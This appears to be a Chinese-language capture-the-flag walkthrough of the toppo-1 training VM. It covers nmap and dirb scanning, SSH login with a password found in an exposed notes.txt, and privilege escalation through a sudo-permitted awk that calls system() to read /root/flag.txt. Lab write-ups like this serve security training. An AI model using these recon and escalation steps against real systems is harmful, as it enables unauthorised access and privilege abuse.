toppo-1

靶机准备

由于是.vmdk文件，新建一个虚拟机把硬盘移除，在将此vmdk文件添加为新硬盘即。

开机发现给出了ip地址：192.168.164.184，且当前网络模式为NAT



将kali也设置为NAT模式即可

kali：192.168.164.137

渗透测试

nmap扫描一下端口

nmap -sS -sV -T5 -A -p- 192.168.164.184

用dirb扫目录，

dirb http://192.168.164.184

扫描到了很多目录，先进admin目录，发现一个notes.txt文件



打开查看



里面的12345ted123好像是密码，尝试ssh连接

用户名猜测为ted，成功连接



查看不是root权限，尝试提权

首先使用sudo -l,发现用不了，用cat /etc/sudoers发现ted 目前可以已root权限运行/usr/bin/awk程序

sudo -l=当前用户可以已root身份执行的操作
cat /etc/sudoers=谁被允许已root身份执行

直接使用awk的权限读取flag

awk 'BEGIN{system("whoami")}'
awk 'BEGIN{system("ls /root")}'
awk 'BEGIN{system("cat /root/flag.txt")}'